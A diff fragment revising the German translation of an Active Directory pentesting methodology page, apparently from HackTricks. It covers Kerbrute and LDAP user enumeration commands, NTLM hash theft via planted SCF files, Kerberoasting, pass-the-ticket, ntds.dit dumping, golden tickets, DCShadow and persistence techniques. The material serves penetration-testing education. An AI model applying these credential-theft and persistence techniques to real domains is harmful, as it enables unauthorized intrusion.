 - **Kerbrute enum**: Wenn ein **ungültiger Benutzername angefordert wird**, wird der Server mit dem **Kerberos-Fehler**-Code _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ antworten, was uns ermöglicht festzustellen, dass der Benutzername ungültig war. **Gültige Benutzernamen** werden entweder die **TGT in einer AS-REP**-Antwort hervorrufen oder den Fehler _KRB5KDC_ERR_PREAUTH_REQUIRED_, was darauf hinweist, dass der Benutzer eine Vor-Authentifizierung durchführen muss.
 ```bash
 ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases
@@ -107,7 +107,7 @@ Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password
 >
 > Sie sollten jedoch den **Namen der Personen, die im Unternehmen arbeiten**, aus dem Recon-Schritt haben, den Sie zuvor durchgeführt haben sollten. Mit dem Vorname und Nachname könnten Sie das Skript [**namemash.py**](https://gist.github.com/superkojiman/11076951) verwenden, um potenziell gültige Benutzernamen zu generieren.
 
-### Kenntnis von einem oder mehreren Benutzernamen
+### Kenntnis eines oder mehrerer Benutzernamen
 
 Okay, Sie wissen also, dass Sie bereits einen gültigen Benutzernamen haben, aber keine Passwörter... Dann versuchen Sie:
 
@@ -131,9 +131,9 @@ Sie könnten in der Lage sein, einige Challenge-**Hashes** zu erhalten, um **Pro
 
 Wenn Sie es geschafft haben, das Active Directory zu enumerieren, haben Sie **mehr E-Mails und ein besseres Verständnis des Netzwerks**. Sie könnten in der Lage sein, NTML [**Relay-Angriffe**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) \*\*\*\* zu erzwingen, um Zugriff auf die AD-Umgebung zu erhalten.
 
-### NTLM-Creds stehlen
+### NTLM-Credentials stehlen
 
-Wenn Sie **auf andere PCs oder Freigaben** mit dem **null- oder Gastbenutzer** zugreifen können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
+Wenn Sie mit dem **null- oder Gastbenutzer** **auf andere PCs oder Freigaben zugreifen** können, könnten Sie **Dateien** (wie eine SCF-Datei) platzieren, die, wenn sie irgendwie aufgerufen werden, eine **NTML-Authentifizierung gegen Sie auslösen**, sodass Sie die **NTLM-Herausforderung** stehlen können, um sie zu cracken:
 
 {{#ref}}
 ../ntlm/places-to-steal-ntlm-creds.md
@@ -156,13 +156,13 @@ Ein kompromittiertes Konto zu haben, ist ein **großer Schritt, um die gesamte D
 Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen verwundbaren Benutzer finden, und bezüglich [**Password Spraying**](password-spraying.md) können Sie eine **Liste aller Benutzernamen** erhalten und das Passwort des kompromittierten Kontos, leere Passwörter und neue vielversprechende Passwörter ausprobieren.
 
 - Sie könnten die [**CMD verwenden, um eine grundlegende Recon durchzuführen**](../basic-cmd-for-pentesters.md#domain-info)
-- Sie können auch [**PowerShell für Recon verwenden**](../basic-powershell-for-pentesters/), was stealthier sein wird
+- Sie können auch [**PowerShell für Recon verwenden**](../basic-powershell-for-pentesters/index.html), was stealthier sein wird
 - Sie können auch [**PowerView verwenden**](../basic-powershell-for-pentesters/powerview.md), um detailliertere Informationen zu extrahieren
-- Ein weiteres erstaunliches Tool für Recon in einem Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr stealthy** (je nach den verwendeten Sammlungsmethoden), aber **wenn es Ihnen egal ist**, sollten Sie es auf jeden Fall ausprobieren. Finden Sie heraus, wo Benutzer RDP nutzen können, finden Sie den Weg zu anderen Gruppen usw.
+- Ein weiteres erstaunliches Tool für Recon in einem Active Directory ist [**BloodHound**](bloodhound.md). Es ist **nicht sehr stealthy** (je nach den verwendeten Erfassungsmethoden), aber **wenn es Ihnen egal ist**, sollten Sie es auf jeden Fall ausprobieren. Finden Sie heraus, wo Benutzer RDP nutzen können, finden Sie Wege zu anderen Gruppen usw.
 - **Andere automatisierte AD-Enumerationstools sind:** [**AD Explorer**](bloodhound.md#ad-explorer)**,** [**ADRecon**](bloodhound.md#adrecon)**,** [**Group3r**](bloodhound.md#group3r)**,** [**PingCastle**](bloodhound.md#pingcastle)**.**
 - [**DNS-Einträge des AD**](ad-dns-records.md), da sie interessante Informationen enthalten könnten.
 - Ein **Tool mit GUI**, das Sie zur Enumeration des Verzeichnisses verwenden können, ist **AdExplorer.exe** aus der **SysInternal** Suite.
-- Sie können auch in der LDAP-Datenbank mit **ldapsearch** nach Anmeldeinformationen in den Feldern _userPassword_ & _unixUserPassword_ suchen oder sogar nach _Description_. Siehe [Passwort im AD-Benutzerkommentar auf PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für andere Methoden.
+- Sie können auch in der LDAP-Datenbank mit **ldapsearch** nach Anmeldeinformationen in den Feldern _userPassword_ & _unixUserPassword_ suchen oder sogar nach _Description_. vgl. [Passwort im AD-Benutzerkommentar auf PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#password-in-ad-user-comment) für andere Methoden.
 - Wenn Sie **Linux** verwenden, könnten Sie auch die Domäne mit [**pywerview**](https://github.com/the-useless-one/pywerview) enumerieren.
 - Sie könnten auch automatisierte Tools wie:
 - [**tomcarver16/ADSearch**](https://github.com/tomcarver16/ADSearch)
@@ -171,11 +171,11 @@ Bezüglich [**ASREPRoast**](asreproast.md) können Sie jetzt jeden möglichen ve
 
 Es ist sehr einfach, alle Benutzernamen der Domäne von Windows zu erhalten (`net user /domain`, `Get-DomainUser` oder `wmic useraccount get name,sid`). In Linux können Sie verwenden: `GetADUsers.py -all -dc-ip 10.10.10.110 domain.com/username` oder `enum4linux -a -u "user" -p "password" <DC IP>`
 
-> Auch wenn dieser Abschnitt zur Enumeration klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf den zur CMD, PowerShell, PowerView und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
+> Auch wenn dieser Abschnitt zur Enumeration klein aussieht, ist dies der wichtigste Teil von allem. Greifen Sie auf die Links zu (hauptsächlich auf die von cmd, powershell, powerview und BloodHound), lernen Sie, wie man eine Domäne enumeriert, und üben Sie, bis Sie sich wohlfühlen. Während einer Bewertung wird dies der entscheidende Moment sein, um Ihren Weg zu DA zu finden oder zu entscheiden, dass nichts getan werden kann.
 
 ### Kerberoast
 
-Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Knacken ihrer Verschlüsselung – die auf Benutzerpasswörtern basiert – **offline**.
+Kerberoasting beinhaltet das Erhalten von **TGS-Tickets**, die von Diensten verwendet werden, die an Benutzerkonten gebunden sind, und das Knacken ihrer Verschlüsselung—die auf Benutzerpasswörtern basiert—**offline**.
 
 Mehr dazu in:
 
@@ -185,13 +185,13 @@ kerberoast.md
 
 ### Remote-Verbindung (RDP, SSH, FTP, Win-RM usw.)
 
-Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie auf irgendeine **Maschine** zugreifen können. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich auf mehreren Servern mit verschiedenen Protokollen entsprechend Ihren Port-Scans zu verbinden.
+Sobald Sie einige Anmeldeinformationen erhalten haben, könnten Sie überprüfen, ob Sie Zugriff auf irgendeine **Maschine** haben. Zu diesem Zweck könnten Sie **CrackMapExec** verwenden, um zu versuchen, sich auf mehreren Servern mit verschiedenen Protokollen gemäß Ihren Port-Scans zu verbinden.
 
 ### Lokale Privilegieneskalation
 
 Wenn Sie Anmeldeinformationen oder eine Sitzung als regulärer Domänenbenutzer kompromittiert haben und Sie mit diesem Benutzer **Zugriff** auf **irgendeine Maschine in der Domäne** haben, sollten Sie versuchen, Ihren Weg zur **lokalen Eskalation von Privilegien und zum Ausspähen von Anmeldeinformationen** zu finden. Dies liegt daran, dass Sie nur mit lokalen Administratorrechten in der Lage sind, **Hashes anderer Benutzer** im Speicher (LSASS) und lokal (SAM) zu dumpen.
 
-Es gibt eine komplette Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
+Es gibt eine komplette Seite in diesem Buch über [**lokale Privilegieneskalation in Windows**](../windows-local-privilege-escalation/index.html) und eine [**Checkliste**](../checklist-windows-privilege-escalation.md). Vergessen Sie auch nicht, [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) zu verwenden.
 
 ### Aktuelle Sitzungstickets
 
@@ -235,7 +235,7 @@ printnightmare.md
 
 ### Hash-Extraktion
 
-Hoffentlich ist es Ihnen gelungen, **einige lokale Administrator**-Konten mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/).\
+Hoffentlich ist es Ihnen gelungen, ein **lokales Administratorkonto** mit [AsRepRoast](asreproast.md), [Password Spraying](password-spraying.md), [Kerberoast](kerberoast.md), [Responder](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) einschließlich Relaying, [EvilSSDP](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md), [lokale Privilegien zu eskalieren](../windows-local-privilege-escalation/index.html) zu kompromittieren.\
 Dann ist es Zeit, alle Hashes im Speicher und lokal zu dumpen.\
 [**Lesen Sie diese Seite über verschiedene Möglichkeiten, die Hashes zu erhalten.**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/active-directory-methodology/broken-reference/README.md)
 
@@ -255,7 +255,7 @@ over-pass-the-hash-pass-the-key.md
 
 ### Pass the Ticket
 
-Im **Pass The Ticket (PTT)**-Angriffsverfahren stehlen Angreifer **das Authentifizierungsticket eines Benutzers** anstelle seines Passworts oder seiner Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu impersonieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
+Im **Pass The Ticket (PTT)**-Angriffsverfahren stehlen Angreifer **das Authentifizierungsticket eines Benutzers**, anstatt dessen Passwort oder Hash-Werte. Dieses gestohlene Ticket wird dann verwendet, um **den Benutzer zu impersonieren** und unbefugten Zugriff auf Ressourcen und Dienste innerhalb eines Netzwerks zu erhalten.
 
 {{#ref}}
 pass-the-ticket.md
@@ -303,7 +303,7 @@ constrained-delegation.md
 
 ### Ressourcenbasierte Eingeschränkte Delegation
 
-Das Vorhandensein von **WRITE**-Berechtigungen auf einem Active Directory-Objekt eines Remote-Computers ermöglicht die Erlangung von Codeausführung mit **erhöhten Berechtigungen**:
+Das Vorhandensein von **WRITE**-Berechtigungen auf einem Active Directory-Objekt eines Remote-Computers ermöglicht die Ausführung von Code mit **erhöhten Berechtigungen**:
 
 {{#ref}}
 resource-based-constrained-delegation.md
@@ -325,7 +325,7 @@ Das Entdecken eines **Spool-Dienstes, der im Domänenbereich lauscht**, kann **a
 printers-spooler-service-abuse.md
 {{#endref}}
 
-### Missbrauch von Drittanbieter-Sitzungen
+### Missbrauch von Drittanbietersitzungen
 
 Wenn **andere Benutzer** die **kompromittierte** Maschine **zugreifen**, ist es möglich, **Anmeldeinformationen aus dem Speicher zu sammeln** und sogar **Beacons in ihren Prozessen zu injizieren**, um sie zu impersonieren.\
 In der Regel greifen Benutzer über RDP auf das System zu, daher hier, wie man ein paar Angriffe über Drittanbieter-RDP-Sitzungen durchführt:
@@ -336,7 +336,7 @@ rdp-sessions-abuse.md
 
 ### LAPS
 
-**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden im Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
+**LAPS** bietet ein System zur Verwaltung des **lokalen Administratorpassworts** auf domänenverbundenen Computern, um sicherzustellen, dass es **randomisiert**, einzigartig und häufig **geändert** wird. Diese Passwörter werden in Active Directory gespeichert und der Zugriff wird über ACLs nur für autorisierte Benutzer kontrolliert. Mit ausreichenden Berechtigungen zum Zugriff auf diese Passwörter wird das Pivotieren zu anderen Computern möglich.
 
 {{#ref}}
 laps.md
@@ -360,7 +360,7 @@ ad-certificates/domain-escalation.md
 
 ## Post-Exploitation mit hochprivilegiertem Konto
 
-### Dumping von Domain-Anmeldeinformationen
+### Dumping von Domänenanmeldeinformationen
 
 Sobald Sie **Domain Admin** oder noch besser **Enterprise Admin**-Berechtigungen erhalten, können Sie die **Domänendatenbank** dumpen: _ntds.dit_.
 
@@ -411,7 +411,7 @@ golden-ticket.md
 
 ### Diamond Ticket
 
-Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gemeinsame Erkennungsmechanismen für goldene Tickets umgehen**.
+Diese sind wie goldene Tickets, die so gefälscht sind, dass sie **gewöhnliche Erkennungsmechanismen für goldene Tickets umgehen**.
 
 {{#ref}}
 diamond-ticket.md
@@ -419,7 +419,7 @@ diamond-ticket.md
 
 ### **Zertifikatskonto-Persistenz**
 
-**Zertifikate eines Kontos zu haben oder in der Lage zu sein, sie anzufordern**, ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
+**Zertifikate eines Kontos zu haben oder sie anfordern zu können**, ist eine sehr gute Möglichkeit, um in dem Benutzerkonto persistieren zu können (auch wenn er das Passwort ändert):
 
 {{#ref}}
 ad-certificates/account-persistence.md
@@ -435,13 +435,13 @@ ad-certificates/domain-persistence.md
 
 ### AdminSDHolder-Gruppe
 
-Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, gewinnt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
+Das **AdminSDHolder**-Objekt in Active Directory gewährleistet die Sicherheit von **privilegierten Gruppen** (wie Domain Admins und Enterprise Admins), indem es eine standardisierte **Zugriffskontrollliste (ACL)** auf diese Gruppen anwendet, um unbefugte Änderungen zu verhindern. Diese Funktion kann jedoch ausgenutzt werden; wenn ein Angreifer die ACL des AdminSDHolder so ändert, dass ein regulärer Benutzer vollen Zugriff erhält, erlangt dieser Benutzer umfangreiche Kontrolle über alle privilegierten Gruppen. Diese Sicherheitsmaßnahme, die zum Schutz gedacht ist, kann somit nach hinten losgehen und unbefugten Zugriff ermöglichen, es sei denn, sie wird genau überwacht.
 
-[**Weitere Informationen zur AdminDSHolder-Gruppe finden Sie hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
+[**Weitere Informationen zur AdminDSHolder-Gruppe hier.**](privileged-groups-and-token-privileges.md#adminsdholder-group)
 
 ### DSRM-Anmeldeinformationen
 
-Innerhalb jedes **Domain Controllers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erwerb von Admin-Rechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
+Innerhalb jedes **Domänencontrollers (DC)** existiert ein **lokales Administratorkonto**. Durch den Erhalt von Admin-Rechten auf einem solchen Computer kann der Hash des lokalen Administrators mit **mimikatz** extrahiert werden. Danach ist eine Registrierungänderung erforderlich, um **die Verwendung dieses Passworts zu aktivieren**, was den Remote-Zugriff auf das lokale Administratorkonto ermöglicht.
 
 {{#ref}}
 dsrm-credentials.md
@@ -449,7 +449,7 @@ dsrm-credentials.md
 
 ### ACL-Persistenz
 
-Sie könnten einem **Benutzer** einige **besondere Berechtigungen** über einige spezifische Domänenobjekte geben, die es dem Benutzer ermöglichen, **zukünftig Berechtigungen zu eskalieren**.
+Sie könnten einem **Benutzer** über einige spezifische Domänenobjekte **besondere Berechtigungen** geben, die es dem Benutzer ermöglichen, **in Zukunft Berechtigungen zu eskalieren**.
 
 {{#ref}}
 acl-persistence-abuse/
@@ -482,7 +482,7 @@ custom-ssp.md
 
 ### DCShadow
 
-Es registriert einen **neuen Domain Controller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich im **Root-Domain** befinden.\
+Es registriert einen **neuen Domänencontroller** im AD und verwendet ihn, um **Attribute** (SIDHistory, SPNs...) auf bestimmten Objekten **ohne** das Hinterlassen von **Protokollen** bezüglich der **Änderungen** zu **pushen**. Sie **benötigen DA**-Berechtigungen und müssen sich im **Root-Domain** befinden.\
 Beachten Sie, dass bei Verwendung falscher Daten ziemlich hässliche Protokolle erscheinen werden.
 
 {{#ref}}
@@ -498,60 +498,60 @@ Zuvor haben wir darüber gesprochen, wie man Berechtigungen eskalieren kann, wen
 laps.md
 {{#endref}}
 
-## Wald-Berechtigungseskalation - Domänenvertrauensstellungen
+## Waldprivilegieneskalation - Domänenvertrauen
 
 Microsoft betrachtet den **Wald** als die Sicherheitsgrenze. Dies impliziert, dass **die Kompromittierung einer einzelnen Domäne potenziell zur Kompromittierung des gesamten Waldes führen könnte**.
 
 ### Grundlegende Informationen
 
-Eine [**Domänenvertrauensstellung**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen eine Vertrauensstellung einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domain Controllers (DCs)** aus und behalten diese, was für die Integrität der Vertrauensstellung entscheidend ist.
+Ein [**Domänenvertrauen**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) ist ein Sicherheitsmechanismus, der es einem Benutzer aus einer **Domäne** ermöglicht, auf Ressourcen in einer anderen **Domäne** zuzugreifen. Es schafft im Wesentlichen eine Verbindung zwischen den Authentifizierungssystemen der beiden Domänen, die es ermöglicht, dass Authentifizierungsüberprüfungen nahtlos fließen. Wenn Domänen ein Vertrauen einrichten, tauschen sie spezifische **Schlüssel** innerhalb ihrer **Domänencontroller (DCs)** aus und behalten diese, was für die Integrität des Vertrauens entscheidend ist.
 
 In einem typischen Szenario, wenn ein Benutzer beabsichtigt, auf einen Dienst in einer **vertrauenswürdigen Domäne** zuzugreifen, muss er zunächst ein spezielles Ticket anfordern, das als **inter-realm TGT** bekannt ist, von dem DC seiner eigenen Domäne. Dieses TGT ist mit einem gemeinsamen **Schlüssel** verschlüsselt, auf den sich beide Domänen geeinigt haben. Der Benutzer präsentiert dann dieses TGT dem **DC der vertrauenswürdigen Domäne**, um ein Dienstticket (**TGS**) zu erhalten. Nach erfolgreicher Validierung des inter-realm TGT durch den DC der vertrauenswürdigen Domäne gibt dieser ein TGS aus, das dem Benutzer den Zugriff auf den Dienst gewährt.
 
 **Schritte**:
 
-1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domain Controller (DC1)** anzufordern.
+1. Ein **Client-Computer** in **Domäne 1** beginnt den Prozess, indem er seinen **NTLM-Hash** verwendet, um ein **Ticket Granting Ticket (TGT)** von seinem **Domänencontroller (DC1)** anzufordern.
 2. DC1 gibt ein neues TGT aus, wenn der Client erfolgreich authentifiziert wird.
 3. Der Client fordert dann ein **inter-realm TGT** von DC1 an, das benötigt wird, um auf Ressourcen in **Domäne 2** zuzugreifen.
-4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 als Teil der zweiseitigen Domänenvertrauensstellung geteilt wird.
-5. Der Client bringt das inter-realm TGT zu **Domain 2's Domain Controller (DC2)**.
+4. Das inter-realm TGT ist mit einem **Vertrauensschlüssel** verschlüsselt, der zwischen DC1 und DC2 im Rahmen des zweiseitigen Domänenvertrauens geteilt wird.
+5. Der Client bringt das inter-realm TGT zu **Domäne 2's Domänencontroller (DC2)**.
 6. DC2 überprüft das inter-realm TGT mit seinem gemeinsamen Vertrauensschlüssel und gibt, wenn es gültig ist, ein **Ticket Granting Service (TGS)** für den Server in Domäne 2 aus, auf den der Client zugreifen möchte.
 7. Schließlich präsentiert der Client dieses TGS dem Server, das mit dem Hash des Serverkontos verschlüsselt ist, um Zugriff auf den Dienst in Domäne 2 zu erhalten.
 
 ### Verschiedene Vertrauensstellungen
 
-Es ist wichtig zu beachten, dass **eine Vertrauensstellung einseitig oder zweiseitig sein kann**. Bei der zweiseitigen Option vertrauen sich beide Domänen gegenseitig, aber in der **einseitigen** Vertrauensbeziehung ist eine der Domänen die **vertrauenswürdige** und die andere die **vertrauende** Domäne. Im letzteren Fall **können Sie nur auf Ressourcen innerhalb der vertrauenden Domäne von der vertrauenswürdigen zugreifen**.
+Es ist wichtig zu beachten, dass **ein Vertrauen einseitig oder zweiseitig sein kann**. Bei der zweiseitigen Option vertrauen sich beide Domänen gegenseitig, aber in der **einseitigen** Vertrauensbeziehung ist eine der Domänen die **vertrauenswürdige** und die andere die **vertrauende** Domäne. Im letzteren Fall **können Sie nur auf Ressourcen innerhalb der vertrauenden Domäne von der vertrauenswürdigen zugreifen**.
 
-Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertrauenswürdige. Darüber hinaus wäre dies in **Domäne A** eine **Outbound-Vertrauensstellung**; und in **Domäne B** wäre dies eine **Inbound-Vertrauensstellung**.
+Wenn Domäne A Domäne B vertraut, ist A die vertrauende Domäne und B die vertrauenswürdige. Darüber hinaus wäre dies in **Domäne A** ein **Outbound-Vertrauen**; und in **Domäne B** wäre dies ein **Inbound-Vertrauen**.
 
 **Verschiedene vertrauende Beziehungen**
 
-- **Eltern-Kind-Vertrauensstellungen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch eine zweiseitige transitive Vertrauensstellung mit ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
-- **Kreuzverbindungen**: Auch als "Shortcut-Vertrauensstellungen" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald reisen und dann zur Zieldomäne. Durch die Erstellung von Kreuzverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
-- **Externe Vertrauensstellungen**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht-transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Vertrauensstellungen nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht über eine Waldvertrauensstellung verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Vertrauensstellungen erhöht.
-- **Baumwurzel-Vertrauensstellungen**: Diese Vertrauensstellungen werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baumwurzel-Vertrauensstellungen wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
-- **Waldvertrauensstellungen**: Diese Art von Vertrauensstellung ist eine zweiseitige transitive Vertrauensstellung zwischen zwei Wurzel-Domänen des Waldes, die ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
-- **MIT-Vertrauensstellungen**: Diese Vertrauensstellungen werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Vertrauensstellungen sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
+- **Eltern-Kind-Vertrauen**: Dies ist eine gängige Konfiguration innerhalb desselben Waldes, bei der eine Kinddomäne automatisch ein zweiseitiges transitives Vertrauen zu ihrer Elterndomäne hat. Im Wesentlichen bedeutet dies, dass Authentifizierungsanfragen nahtlos zwischen der Eltern- und der Kinddomäne fließen können.
+- **Kreuzverbindungen**: Auch als "Shortcut-Trusts" bezeichnet, werden diese zwischen Kinddomänen eingerichtet, um die Verweisprozesse zu beschleunigen. In komplexen Wäldern müssen Authentifizierungsreferenzen typischerweise bis zum Wurzelwald reisen und dann zur Zieldomäne. Durch die Erstellung von Kreuzverbindungen wird die Reise verkürzt, was besonders vorteilhaft in geografisch verteilten Umgebungen ist.
+- **Externe Verträge**: Diese werden zwischen verschiedenen, nicht verwandten Domänen eingerichtet und sind von Natur aus nicht transitiv. Laut [Microsofts Dokumentation](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) sind externe Verträge nützlich, um auf Ressourcen in einer Domäne außerhalb des aktuellen Waldes zuzugreifen, die nicht durch ein Waldvertrauen verbunden ist. Die Sicherheit wird durch SID-Filterung bei externen Verträgen erhöht.
+- **Baumwurzel-Vertrauen**: Diese Verträge werden automatisch zwischen der Wurzel-Domäne des Waldes und einer neu hinzugefügten Baumwurzel eingerichtet. Obwohl sie nicht häufig vorkommen, sind Baumwurzel-Verträge wichtig, um neue Domänenbäume zu einem Wald hinzuzufügen, damit sie einen einzigartigen Domänennamen beibehalten und eine zweiseitige Transitivität gewährleisten können. Weitere Informationen finden Sie in [Microsofts Anleitung](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
+- **Waldvertrauen**: Diese Art von Vertrauen ist ein zweiseitiges transitives Vertrauen zwischen zwei Wurzel-Domänen des Waldes, das ebenfalls SID-Filterung durchsetzt, um Sicherheitsmaßnahmen zu verbessern.
+- **MIT-Vertrauen**: Diese Verträge werden mit nicht-Windows, [RFC4120-konformen](https://tools.ietf.org/html/rfc4120) Kerberos-Domänen eingerichtet. MIT-Verträge sind etwas spezialisierter und richten sich an Umgebungen, die eine Integration mit Kerberos-basierten Systemen außerhalb des Windows-Ökosystems erfordern.
 
 #### Weitere Unterschiede in **vertrauenden Beziehungen**
 
 - Eine Vertrauensbeziehung kann auch **transitiv** sein (A vertraut B, B vertraut C, dann vertraut A C) oder **nicht-transitiv**.
-- Eine Vertrauensbeziehung kann als **bidirektionale Vertrauensstellung** (beide vertrauen sich gegenseitig) oder als **einseitige Vertrauensstellung** (nur einer von ihnen vertraut dem anderen) eingerichtet werden.
+- Eine Vertrauensbeziehung kann als **bidirektionales Vertrauen** (beide vertrauen sich gegenseitig) oder als **einseitiges Vertrauen** (nur einer von ihnen vertraut dem anderen) eingerichtet werden.
 
 ### Angriffsweg
 
 1. **Enumerieren** Sie die vertrauenden Beziehungen
-2. Überprüfen Sie, ob ein **Sicherheitsprinzipal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domäne** hat, möglicherweise durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domäne. Suchen Sie nach **Beziehungen über Domänen hinweg** (die Vertrauensstellung wurde wahrscheinlich dafür erstellt).
+2. Überprüfen Sie, ob ein **Sicherheitsprinzipal** (Benutzer/Gruppe/Computer) **Zugriff** auf Ressourcen der **anderen Domäne** hat, möglicherweise durch ACE-Einträge oder durch Mitgliedschaft in Gruppen der anderen Domäne. Suchen Sie nach **Beziehungen über Domänen hinweg** (das Vertrauen wurde wahrscheinlich dafür geschaffen).
 1. Kerberoast könnte in diesem Fall eine weitere Option sein.
 3. **Kompromittieren** Sie die **Konten**, die durch Domänen **pivotieren** können.
 
 Angreifer könnten über drei Hauptmechanismen auf Ressourcen in einer anderen Domäne zugreifen:
 
